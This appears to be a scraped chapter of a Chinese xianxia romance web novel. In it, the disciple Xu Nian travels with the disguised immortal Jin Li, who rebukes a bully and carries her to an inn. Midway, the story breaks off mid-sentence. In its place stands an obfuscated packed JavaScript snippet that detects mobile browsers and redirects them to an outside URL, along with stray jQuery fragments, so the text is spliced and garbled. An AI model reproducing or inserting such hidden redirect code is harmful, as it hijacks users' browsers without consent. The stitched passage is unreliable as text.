14. 观音第一

作品:《龙族仙君竟是我的黄月光!?

    长身玉立的紫衫男子缓缓挑了眉,长而直的五指紧紧捏住萧扬尘的手腕,反剪过去,手背不经意暴露出青紫色的血管。


    男子的侧颜昳丽疏朗,俊美无俦,瞧上一眼,便叫人心惊难忘。眉眼深邃,瞳孔是清透的琥珀色,高鼻薄唇,一双睫毛纤长如羽扇,泛出淡淡的银色,好像落了霜雪。


    此刻不悦地蹙着,好像会说话一样。


    不过,这人没穿任何宗派的校服,难不成也是跟许念一样的低阶外门弟子?


    许念睫毛颤抖了一下。


    因为对面男子将清冽的目光落在了她的脸颊上。


    男子点头向许念示意,淡声道:“金黎。”


    许念浅浅怔愣了一瞬,然后很快反应过来,嗷,帅哥在做自我介绍,真的很有礼貌哎,许念也忙回道:“许念,外门弟子,在南烛门当值。”


    金黎点头,转而对萧扬尘道:“掌门与云梦泽陆家主也有渊源,特命我随许道友一同下山吊唁。”


    闻言,萧扬尘那嚣张的气焰立刻萎下去,掌门的人,就算是个外门弟子,那也是关系户,他惹不起。登时换上了一张谄媚讨好的嘴脸,跟面对许念时简直判若两人。


    许念光明正大地翻了个白眼。


    不知道是不是错觉,许念余光好像瞥见金黎大帅哥偷偷笑了一下。


    萧扬尘拍完马屁,从袖子里掏出了一只口袋,乾坤袋,里面装了几马车的祭品,毕竟三清仙府出手,绝对大气阔绰。他抛给许念:“你可看好了这些东西,丢了你要赔的,当然啦,以你的财力估计十分之一也赔不起,只能一辈子卖身给三清仙府了!”


    你丫的!骂的太脏了,在哪里都是穷人的许念感觉被人戳了肺管子。


    许念正准备反击,金黎已经先一步拦住萧扬尘,道:“给我。”


    萧扬尘忙道:“这怎么行,您可是掌门身边的人,掌门特意嘱咐我要给您安排妥当呢,你看,我这不是还专门找了个外门弟子伺候您,您啥也不用干,游山玩水,去云梦大泽看看风光便是!”


    日,小人!丫鬟·许念暗骂。


    金黎再次蹙了眉,冷声道:“你平时便是这副样子,如此欺负念,咳,许念道友?”


    “啊?”萧扬尘傻眼。外门弟子本就地位低于内门弟子,他这不是很天经地义、理所当然吗?


    他指了指许念:“她就是个外门弟子,您不用客气。”


    金黎的目光却冷若冰霜,沉道:“外门弟子又如何?她不是你能欺辱的。”


    “哈?”萧扬尘再次吃瘪。


    等他反应过来的时候,已经被一阵剑风直接扇到了涉水散人的洞府。


    一道冷冽仙音从天外传到萧扬尘和涉水散人的耳畔:“几百年不回宗门,三清仙府何时成了这般势力倾轧之地,涉水,管教好你的弟子!”


    萧扬尘:啊,这掌门派了个什么大佬过来?


    涉水散人:(捏了把汗)这小子怎么得罪了鹤梦仙君?!没有被做成人形冰棍儿,真是万幸!算了,打二十鞭,关到戒室里吧,免得仙君看到又心烦。


    山门外,许念看了看金黎,从头到脚,怎么看都不像是跟她一样的低阶外门弟子,反倒像是微服私访体验民情的三清仙府隐藏大佬,她看了看身边萧扬尘分派给她的小驴车,觉得金黎跟这小破车好像不太搭!


    于是,试探着问:“金黎师兄,你可以御剑先行,我赶驴车去。”


    金黎挑了眉,收起那只乾坤袋,不由分说,抬起修长的腿,先一步跨上驴子拉的木板车,还十分自觉地拉上缰绳,回头看向许念,道:“坐上来。”


    好吧,人长得帅,有气质,就算是破烂驴车都能变成时尚单品。


    金黎屈膝,趺坐在车上,道骨仙风,好像坐的不是破驴车,而是遗世独立的仙鹤。


    许念看对方这么自觉,也没有多言,挨着金黎坐了上去。


    但奈何车板实在有点窄,两人的膝盖几乎贴在一起。不过,金黎似乎并不介意,许念也不再客气,扭了扭腰,坐得更放肆了些。


    金黎感受到那不经意划过他大腿面的裙摆和肌肤隐隐的温度,撇过头去。


    金黎驾车的技术很好,好到许念觉得自己简直是在柔软飘渺的云端飞行,刚好早上又起太早,打乱了生物钟,直接睡起了回笼觉,失去支撑的身体毫不自知地歪倒在金黎的肩头。


    如果许念此时醒过来,她就会发现,自己不是像在云端,而是就在云端,哪里还有什么驴车,驴子早已变成了一只翅膀若垂天之云的白鹤,不急不徐地行在云端。


    “扶知,避开前面的河,会吵醒她。”锦泽对座下的仙鹤道。


    扶知,是一只开了灵窍的仙鹤。


    他千年前受了伤,坠落在白鹿青崖间,碰巧被锦泽捡了回去,锦泽用自己的灵力呵护,没多久,他不仅伤好了,甚至能引气入体,修为突飞猛进。


    不愧是得到了真龙之力的哺育,仅仅几百年,就能化成人形了。


    不过,人形的扶知只是一个小童,不知道是不是性子随了主人,也十分的不爱说话,像个闷葫芦,十分傲娇,只听锦泽的话。


    扶知领会到主人的意思,陡然变换身形,扇动着翅膀,飞得更加高了,直接到了云层之上,好像浮在满满的白色棉花糖之上。


    许念也不知是做了什么美梦,流着口水,嗫嚅道:“不要害羞……你,你穿上肯定很好看的……穿给我看嘛……好不好……”


    一边说,许念嘴角一边攀上笑意,一个劲地把头往锦泽怀中钻,以至于直接整个身体压在了锦泽的大腿和腰腹上。


    双手还一个劲地扒拉,环住了锦泽的劲腰,头整个埋在锦泽小腹上。


    锦泽的身体微滞,心跳越来越沉,冰山雪莲一样的菩提面忽然浮上浅淡薄红,施了障眼法的金瞳也染了欲色。


    他伸手,克制地在距离许念的脸颊一寸处停住,为许念遮了正午的阳光,好让她睡得更舒服些。


    扶知虽然头看向前面,但是神识却偷偷向后探,因为他实在是意外至极,竟然有人能在碰到自家仙君后还没被冻成冰棍儿!


    几千年了,他也就见过仙君摸过他的鹤首,哪里还碰过别人。


    难道仙君把这个女人当成跟他一样的宠物了?!


    扶知感觉到自己的地位好像收到了威胁,他连忙更卖力地扇动起翅膀,千万不能让自家仙君换了新宠!


    半下午的时候,许念的午觉才结束。


    但她不是在驴车上醒来的,而是在一间清雅小巧的客栈。


    驴车(某扶姓仙鹤)正拴在马厩里,和马儿一块吃草,嗯对,仙鹤也吃草。


    许念是在阁楼的软榻上醒来的,傍晚的斜阳泼地而入,面前浮光跃金的青山流云画屏上倒映出一个长身玉立、如琢如磨的身形,看动作,大抵正端坐在金丝楠木桌几上捧着一只竹简赏阅。


    画屏一旁,是一只生着铜绿的金兽香炉,蓝紫色的青烟袅袅,在许念眼前缭绕。


    鬼使神差地,她呼唤道:“阿泽。”


    画屏另一边的身形状似顿了顿,须臾,才回应道:“道友,你……认错人了。”


    听到这声低沉微冷的声音,许念才回过神来,自己睡糊涂了,竟然以为眼下是在锦泽的禅室,面前的箭影便是阿泽。


    许念惊得一个激灵坐起来,有点尴尬。


    外面的金黎却没什么反应,淡声道:“饿了吧,店家准备好了吃食。”


    许念揉了揉空空荡荡的肚子,翻身下床,快步


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100671|195520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    走出画屏,完全没意识到自己睡得太过放肆,衣领转了整整九十度,露出了半个肩头,肚兜的系带斜斜挂在锁骨上。


    系带下面,有一个粉色的印子,像是被人撕咬出来的,但许念从昨晚到现在完全没有照过镜子,哪里知道昨晚被水妖咬的那口还没消肿。


    金黎握着竹简的右手一紧,眼神暗下来,手背的青筋凸起,他忙收敛目光,正色道:“我去问店家要些茶水。”


    神经大条的许念完全没觉得有什么不妥,毕竟在现代,穿个吊带露着肩膀实在再正常不过了。她快步上前,拦住欲夺门而出的金黎:“金黎师兄,且慢——”


    许念只到金黎的肩头,他此刻垂眸俯视下去,许念洁白的纤颈和粉色的锁骨一览无余,尤其那朵自己蹂躏出的红梅,分外扎眼。


    昨日,水中衣衫凌乱的许念再次浮现在他的脑海,让他丹田的灵力作乱起来。


    他的喉结默不作声地滑动了一下。


    金黎撇过头去,声音变得更冷更硬:“何事?”


    许念忽然,踮了脚,对金黎点了点自己的鼻尖:“这,蹭了墨汁。”说罢,许念噗嗤笑出声。


    金黎望着傍晚夕阳下的许念,她整个人被映得明媚而温暖,镀了一层橙色暖光,如同一朵欣欣向荣的向日葵,向着面前人歪头浅笑。


    他的心跳无声地漏了一拍。


    许念却没想那么多,只是因为金黎生得宛如菩提,不染纤尘,添了这滴墨水,更显得可爱接地气。她便没忍住,逗了逗对方。


    可能是今早金黎霸气替她解围,教训了萧扬尘,她不自觉地把对方当自己阵营地朋友了。


    金黎却完全不顾自己鼻尖上的墨痕,一瞬不眨地盯着许念,望进她月牙一般的双眼,接着,向下滑去,落在那两瓣柔软的唇瓣上,昨天冰凉柔软的触感,让他下腹发紧。


    “在下有些口渴,再去添些茶水。”金黎大步走出,背对着许念,眼尾瞬间浮上一层滚汤的薄红。


    “嗯嗯。”许念忙点头,完全没注意到对方的异样,看着桌子上满满的佳肴,大快朵颐起来。


    等吃得差不多了,金黎才从外面回来。


    许念咽下食物,问:“我们现在到那里了,还要多久能到陆家主所在的辛夷坞?”


    金黎声音有些哑:“明日晌午,便可抵达。”


    “什么?!”许念震惊,当时专门看过地图的,要五天,怎么突然缩成一天半了,还有时间投宿客栈。她不禁问出了疑惑。


    金黎面不改色地解释:“三清仙府的驴子不同于普通驴子。”


    可不嘛,几千岁的得道“老驴子”了!


    许念觉得也是,这萧扬尘多少还算有点良心,不过,也就指甲盖那么大,下次再惹她,她还是会揍回去的。


    许念又问:“咱们现在到哪了?”


    “竟陵。”金黎道,“在辛夷坞的北边,同属云梦大泽一脉上的城镇。”


    许念点点头,擦了擦嘴,活动了一下腰身,准备推门出去。


    金黎见状,问:“道友,你要去哪?”


    “消食,顺便在竟陵逛一逛,我还没下过山呢!”许念满眼星星。


    “不行!”金黎的声音流露出令人意外的急切。


    许念被小小吓了一跳,有些不解,脚步顿住,转身歪了头看着金黎。


    金黎一怔,错开目光,语气有些磕绊,道:“我,我的意思是,马上入夜,你一个人不安全。”


    许念觉得有道理,点了点头,道:“那我牵着驴子去,它跑得快,应该不要紧。”说完,许念转身便走,却再次被人叫住。


    “我是说,”金黎抬起雪白的羽睫,扑扑地拍打,下眼睑泛着粉,道,“我是说,我想陪你一起去。”